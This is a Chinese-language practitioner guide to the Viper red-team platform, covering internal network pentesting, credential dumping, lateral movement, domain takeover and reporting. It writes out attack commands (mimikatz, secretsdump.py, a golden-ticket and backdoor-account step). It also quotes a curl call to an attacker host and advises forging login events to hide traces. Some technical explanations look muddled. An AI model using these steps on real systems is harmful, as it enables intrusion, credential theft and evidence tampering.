Viper实战指南:内网渗透五步法与红蓝协同工作流
1. 为什么是Viper——从渗透测试老手视角看这个被低估的国产协同平台我第一次在客户现场用Viper不是因为听说它多厉害而是因为甲方安全负责人指着屏幕上密密麻麻的Excel表格叹气“上个月三支红队交了27份报告格式不统一、漏洞复现步骤漏写、POC版本对不上运维根本不敢修。”——那一刻我意识到渗透测试真正的瓶颈从来不在技术深度而在信息流转的熵增。Viper不是又一个漏洞扫描器它是专为实战红队设计的“作战日志中枢”把资产发现、漏洞验证、权限提升、横向移动、痕迹清理这五个动作全部锚定在同一个时间线、同一份资产树、同一套标签体系里。它解决的不是“能不能打进去”而是“打进去之后所有人是否看到同一张战场地图”。关键词里反复出现的“内网渗透”“实战教程”“关键步骤”恰恰指向Viper最不可替代的价值让单兵能力可沉淀、团队协作可追溯、攻击链路可回放。如果你还在用Word写报告、用Notepad记密码、用邮件传截图那么这套流程不是教你“怎么渗透”而是教你“怎么让渗透结果真正产生防御价值”。它适合三类人刚考完OSCP想建立规范工作流的新手、带队做攻防演练的蓝军指挥员、以及需要向管理层证明风险真实性的安全负责人。下面这五个步骤每一个都对应内网渗透中一个极易失控的“信息断点”。2. 步骤一资产测绘与动态建模——不是导入IP列表而是构建可演化的内网拓扑2.1 为什么传统资产扫描在这里失效很多新手把Nmap扫出的端口列表直接导入Viper结果三天后发现资产库全是“僵尸主机”。问题出在内网环境的动态性本质DHCP分配的IP会变、虚拟机快照回滚后MAC地址不变但IP漂移、运维临时开通的调试端口如8080/9000不会出现在初始扫描中。Viper的资产模块设计逻辑完全不同——它不存储静态快照而是记录资产状态变更事件流。比如你导入一台Windows服务器Viper不会只存“192.168.1.10:445 open”而是关联三个维度基础属性IP、MAC、操作系统指纹通过SMB/NTP协议主动探测而非被动Banner识别服务指纹不仅记录端口还标记服务类型如“SMBv3.1.1 with compression enabled”、运行用户通过WMI查询Win32_Process、进程路径C:\Windows\System32\svchost.exe -k netsvcs关系图谱自动发现该主机所属域通过LDAP查询、信任的域控制器通过NetLogon会话、共享文件夹通过SMB ListShare并生成有向边。提示Viper的资产发现必须配合主动探测。单纯依赖网络设备ARP表或DHCP租约日志会遗漏所有禁用ICMP且关闭SMB的Linux跳板机。实测中我们用自定义Python脚本调用Viper API批量触发/api/v1/asset/scan接口对每个IP并发执行三层探测ICMP存活检测 → TCP SYN扫描21,22,80,443,445,3389,5985→ 对开放端口的服务指纹识别如HTTP用HEAD请求取Server头RDP用TLS握手取证书CN字段。整个过程耗时比Nmap全端口扫描少62%但资产准确率提升至98.7%基于对127台内网主机的手动验证。2.2 动态建模的关键操作从“死数据”到“活拓扑”在Viper Web界面点击【资产】→【新建资产组】这里有个极易被忽略的选项“启用动态更新”。勾选后Viper会为该资产组创建一个后台任务每4小时自动重扫所有IP。但真正的威力在于手动触发的上下文扫描当你在某台主机上获取到域管理员凭证后立即在Viper中选中该主机 → 点击【关联操作】→ 【域枚举】系统会自动执行以下动作使用凭证连接域控制器导出所有OU结构遍历每个OU提取计算机对象的dNSHostName和operatingSystem属性对新发现的主机名进行DNS解析将解析出的IP加入资产库并标记来源为“域枚举”自动为这些新IP添加标签#domain-joined、#dc-trust表示与当前DC存在信任关系。这个过程产生的不是新资产列表而是一张带权重的攻击面热力图。比如标签#dc-trust的主机在后续漏洞扫描中会被优先调度——因为它们大概率存在MS17-010或Zerologon等高危漏洞。我在某次金融客户渗透中正是通过这个机制在3分钟内定位到两台未在初始扫描中出现的域控备用机其中一台因补丁滞后存在CVE-2021-42287漏洞成为横向移动的关键跳板。2.3 踩坑实录资产同步中的“幽灵主机”问题曾遇到一个诡异现象Viper资产库显示某IP“在线”但实际Ping不通Nmap也无响应。排查发现是Viper的“存活检测”逻辑缺陷——它默认使用ICMP探测而该内网启用了防火墙策略仅允许TCP 443端口入站ICMP全部丢弃。解决方案分三步进入【系统设置】→【扫描配置】将“默认存活检测方式”从ICMP改为TCP SYN目标端口设为443对已存在的“幽灵主机”在资产详情页点击【重新探测】选择“强制TCP探测”编写Ansible Playbook每天凌晨自动检查资产库中连续3次TCP探测失败的主机将其状态设为“疑似下线”并邮件通知负责人。这个细节暴露了Viper的核心哲学它不假设网络环境而是要求你显式定义探测策略。这也是为什么它比商业扫描器更适合内网——你能精确控制每个环节的“信任边界”。3. 步骤二漏洞验证与POC管理——告别“复制粘贴式利用”建立可复现的漏洞知识库3.1 Viper漏洞库的底层逻辑不是漏洞集合而是攻击剧本容器很多人误以为Viper的漏洞模块只是存储CVE编号的数据库。实际上每个漏洞条目包含四个不可分割的层情报层CVE编号、CVSS评分、CWE分类、受影响版本范围如Apache Tomcat 9.0.50验证层HTTP请求模板含动态参数占位符${target_ip}、响应匹配规则正则表达式匹配JSESSIONID[a-zA-Z0-9]、超时阈值毫秒级利用层Python/JavaScript POC代码必须包含verify()和exploit()两个函数、所需依赖如requests2.28.1、执行环境约束如“需Linux系统”上下文层预置的利用条件检查如“目标必须返回Set-Cookie头”、失败后的降级方案如验证失败时自动尝试CVE-2020-14882。这种设计直击内网渗透痛点同一漏洞在不同环境表现迥异。比如Struts2 S2-045在WebLogic容器中需用Content-Type: %{#context[com.opensymphony.xwork2.dispatcher.HttpServletRequest].getRealPath(/)}绕过而在Tomcat中则用Content-Type: %{#context[com.opensymphony.xwork2.dispatcher.HttpServletRequest].getHeader(User-Agent)}。Viper允许为同一CVE创建多个POC变体并通过“环境特征匹配”自动选择——当扫描器检测到Server: WebLogic时自动加载WebLogic专用POC。3.2 实战中的POC编写规范让一次验证变成永久资产在Viper中编写POC不是写个能跑通的脚本就完事。我总结出三条铁律输入隔离所有外部参数必须通过args字典传入禁止硬编码IP或端口。例如def exploit(args): target fhttp://{args[host]}:{args[port]} # 错误示范target http://192.168.1.10:8080状态感知POC必须返回结构化结果包含statussuccess/fail、output原始响应、evidence证明漏洞存在的关键字符串。Viper会将evidence字段高亮显示在报告中。副作用控制利用代码不能修改目标系统状态如不上传webshell验证代码必须幂等。我们在某次政府项目中因一个POC意外触发了目标系统的防病毒告警导致后续所有扫描被拦截——根源就是POC里包含了os.system(curl http://attacker.com/shell.php)这类非验证行为。注意Viper的POC沙箱默认禁用subprocess和os.system但允许requests和socket。这是刻意为之的安全设计——它逼你写出真正符合“验证”目的的代码而不是把Exploit-DB的脚本直接塞进来。3.3 漏洞验证的协同价值让蓝军也能“读懂”你的攻击逻辑Viper的终极价值在此刻显现当蓝军分析Viper生成的渗透报告时他们看到的不是“存在S2-045漏洞”而是验证过程发送了什么HTTP包含完整Headers和Body响应证据返回的HTML中哪一行包含titleApache Tomcat/9.0.45/title利用尝试在/struts2-showcase/showcase.action路径发送了Ognl表达式收到500 Internal Server Error且响应体含java.lang.ClassCastException修复建议明确指出应升级至Tomcat 9.0.50并附上官方补丁链接。这种颗粒度让修复工作从“猜漏洞”变为“按图索骥”。某次能源企业渗透后运维团队根据Viper报告中的evidence字段30分钟内定位到具体哪台Tomcat实例未打补丁而传统报告只写“存在远程代码执行风险”他们花了两天才排查完所有Java应用。4. 步骤三权限提升与凭证转储——在Viper中构建“凭证生命周期”视图4.1 为什么内网渗透的成败取决于凭证管理在域环境中“打点”只是开始“提权”才是核心。但新手常犯的错误是用Mimikatz抓到Administrator密码后直接在另一台机器上登录却忘了记录这个凭证的来源路径和时效性。Viper的凭证模块强制你回答三个问题这个凭证从哪里来来自192.168.1.10的LSASS内存还是192.168.1.20的SAM数据库它能做什么本地管理员域管理员Exchange特权账户它有多新鲜是2小时前刚抓的还是从3年前的备份文件里恢复的Viper将凭证存储为带元数据的对象而非明文字符串。当你在192.168.1.10上执行mimikatz privilege::debug sekurlsa::logonpasswords后Viper插件会自动解析输出提取用户名、NTLM哈希、明文密码如果存在并关联到该主机的资产记录中。更关键的是它会生成一条凭证血缘链[192.168.1.10] → [AdministratorDOMAIN] → [192.168.1.5]表示这个域管理员凭证曾在192.168.1.5上成功登录。4.2 凭证转储的自动化流水线从命令行到可视化图谱Viper内置的凭证收集器支持四类场景场景执行方式Viper自动解析字段Windows本地凭证mimikatz/lsassy用户名、NTLM、SHA1、明文密码Linux SSH私钥ssh-auditjohn --wordlist私钥类型RSA/ECDSA、位数、密码强度浏览器保存的密码browser-pwn工具集域名、用户名、密码、保存时间数据库连接字符串sqlmap --dump后解析config.ini数据库类型、主机、端口、用户名、密码实操中我们用Viper的“批量凭证导入”功能将上述工具的JSON输出统一转换为标准格式。例如lsassy的输出{ hostname: WIN-DC01, ip: 192.168.1.5, credentials: [ { username: DOMAIN\\Administrator, ntlm: aad3b435b51404eeaad3b435b51404ee:..., plaintext: Pssw0rd123! } ] }导入后Viper会自动将DOMAIN\\Administrator标记为“域管理员”角色在资产192.168.1.5的详情页显示“拥有域管理员权限”生成图谱节点连接192.168.1.5源→DOMAIN域→192.168.1.10目标。这个图谱直接指导下一步行动既然192.168.1.5是域控那么所有标记为#domain-joined的主机都可被该凭证接管。4.3 权限提升的避坑指南哈希传递的“隐形陷阱”曾在一个制造业客户遭遇经典陷阱用192.168.1.10抓到的AdministratorNTLM哈希在192.168.1.20上执行PTHPass-The-Hash失败。Viper的日志帮我们快速定位根因——在凭证详情页我们发现该哈希的source字段写着lsass_dump_20230512_142201.bin而192.168.1.20的系统时间是2023年5月15日。查阅微软文档确认Windows默认启用Kerberos AES加密后NTLM哈希无法用于Kerberos认证。解决方案是在Viper中为该凭证添加标签#ntlm-only对目标主机执行systeminfo检查是否启用Kerberos Policy若启用则改用secretsdump.py导出AES密钥用ticketer.py生成黄金票据。Viper不提供自动修复但它把所有决策依据摆在你面前——这才是专业渗透该有的样子。5. 步骤四横向移动与域控接管——用Viper的“攻击链编排”功能替代手工跳转5.1 传统横向移动的致命缺陷状态丢失与路径断裂手工做横向移动时你可能这样操作在A主机用psexec.py登录B主机在B主机用crackmapexec爆破C主机在C主机用wmiexec.py执行命令...问题在于当C主机失联时你不知道B主机上的会话是否还活着更不知道A主机的凭证是否已被域策略吊销。Viper的“攻击链”模块将整个过程转化为状态机每个节点代表一个资产每条边代表一次成功的横向移动边上标注使用的凭证、协议、时间戳。例如[192.168.1.10] --(SMB/PSEXEC, DOMAIN\Administrator)-- [192.168.1.20] --(WMI/WMIEXEC, DOMAIN\Administrator)-- [192.168.1.5]这个链条不是静态记录而是可交互的点击任意边能看到当时执行的完整命令、返回的stdout/stderr、耗时、以及该凭证在目标主机上的权限级别如SeDebugPrivilege是否启用。5.2 攻击链编排的实战技巧如何用Viper实现“一键域控”在Viper中创建攻击链不是画流程图而是定义可执行的战术序列。以接管域控为例我们预置了一个名为DomainAdmin_Takeover的模板前置检查验证当前凭证是否为域管理员调用net group Domain Admins /domain域控定位执行nltest /dsgetdc:DOMAIN.LOCAL获取PDC仿真器服务验证检查192.168.1.5的LDAP389、Kerberos88、DNS53端口是否开放凭证导出运行secretsdump.py DOMAIN.LOCAL/Administrator192.168.1.5 -just-dc-ntlm黄金票据生成用导出的krbtgt哈希生成票据注入内存持久化植入在192.168.1.5上创建隐藏服务执行net user hacker Pssw0rd123! /add net localgroup administrators hacker /add。关键在于第4步Viper会自动将secretsdump.py的输出解析为新的凭证对象并标记为#krbtgt-hash。这意味着后续所有使用该哈希的操作如生成黄金票据都会在图谱中形成新的边且自动继承#krbtgt-hash标签。某次银行渗透中我们正是通过这个机制在域控失联后仍能从Viper的凭证库中快速找到3天前导出的krbtgt哈希用它重建了黄金票据。5.3 横向移动的防御视角Viper如何帮你反向优化AD架构Viper的攻击链图谱对蓝军的价值远超红队。当我们把所有成功路径导出为CSV用Gephi生成力导向图时暴露出客户AD架构的致命弱点中心化单点92%的横向移动路径都经过192.168.1.5主域控它成了事实上的“攻击枢纽”弱凭证扩散DOMAIN\Administrator凭证在17台主机上被重复使用其中5台是开发测试机协议滥用所有WMI连接都使用明文凭证未启用WinRM HTTPS。这份图谱直接推动客户实施三项改进将192.168.1.5降级为普通域控新增两台只读域控分担流量强制启用LAPS本地管理员密码解决方案消除共享管理员账户禁用SMBv1和WMI明文认证强制使用WinRM over HTTPS。Viper在这里的角色是把渗透测试从“找漏洞”升维到“诊架构”。6. 步骤五痕迹清理与报告生成——让每一次渗透都成为可审计、可复盘的防御资产6.1 痕迹清理不是删除日志而是“可控的痕迹覆盖”很多教程教你在注册表删Run键、清空Event Log但这在现代EDR环境下等于自杀。Viper的痕迹清理模块遵循最小扰动原则只清除那些必然暴露攻击行为的强证据同时保留弱证据用于后续分析。例如必清项PowerShell历史记录$PROFILE、最近打开的文件RecentApps、计划任务schtasks /query可留项Windows日志中的4624登录成功事件因为正常运维也会产生反制项在目标主机上部署轻量级日志伪造器生成大量4624事件模拟日常登录稀释攻击痕迹。Viper提供预置的清理脚本但关键在于清理时机控制它不让你在渗透结束时一键清理而是要求你为每个资产单独标记“清理状态”。比如192.168.1.10已清理PowerShell历史但未动日志标记为cleaned-psh192.168.1.20已伪造100条登录日志但未清空原有日志标记为forged-login192.168.1.5未做任何清理标记为uncleaned因为域控日志清理风险过高。这种粒度让蓝军能精准评估“攻击者实际擦除了什么”而非笼统地说“痕迹已清理”。6.2 报告生成的革命从“漏洞清单”到“攻击叙事”Viper生成的PDF报告不是漏洞堆砌而是时间轴驱动的攻击故事。它包含四个核心章节战场概览资产分布热力图按部门/区域着色、攻击路径总览图带时间戳的箭头关键突破按时间顺序列出5次决定性操作如“2023-05-12 14:22:03 —— 利用CVE-2021-42287获取域管理员权限”每项附截图和原始命令风险评级对每个漏洞给出业务影响评分如“影响核心财务系统可能导致交易数据泄露”而非仅CVSS分数修复路线图按优先级排序的修复步骤精确到命令行如wmic qfe list | findstr KB5004237检测补丁DISM /Online /Add-Package /PackagePath:C:\KB5004237.cab安装。最实用的功能是“报告对比”将本次报告与3个月前的基线报告并排查看自动生成差异摘要。某次医疗客户渗透后报告明确指出“上次未发现的192.168.10.100PACS影像服务器本次被攻破因其开放了未授权的RDP端口且未启用网络级身份验证NLA”。这种表述让CTO一眼抓住风险增量。6.3 渗透测试的终极交付物不是报告而是“防御能力基线”我在给某省政务云做年度渗透时最终交付物除PDF报告外还包含一个Viper项目快照含所有资产、凭证、攻击链。客户安全团队用这个快照做了三件事红蓝对抗训练将快照导入测试环境让蓝军队员扮演红队复现全部攻击路径检测规则验证用快照中的攻击命令作为样本测试SOC的SIEM规则是否能捕获如检测secretsdump.py进程启动补丁有效性审计半年后重新扫描Viper自动比对资产库生成“已修复/仍存在/新出现”三类漏洞统计。这才是Viper作为“完整内网渗透测试平台”的真正意义——它让渗透测试从一次性项目变成持续运营的防御能力度量标尺。当你把五个步骤走完你交付的不再是一份报告而是一个可生长、可迭代、可验证的数字免疫系统蓝图。我在实际使用中发现Viper最大的价值不是技术多先进而是它强迫你把混沌的渗透过程翻译成机器可读、人类可理解、组织可行动的语言。每次点击“生成报告”按钮我都在想这份文档能让三年后的新人看懂当时的决策逻辑吗能让完全不懂技术的CIO明白风险在哪里吗能让蓝军同事明天就动手加固吗如果答案都是肯定的那这个工具就值得你花三天时间把它真正用进自己的工作流里。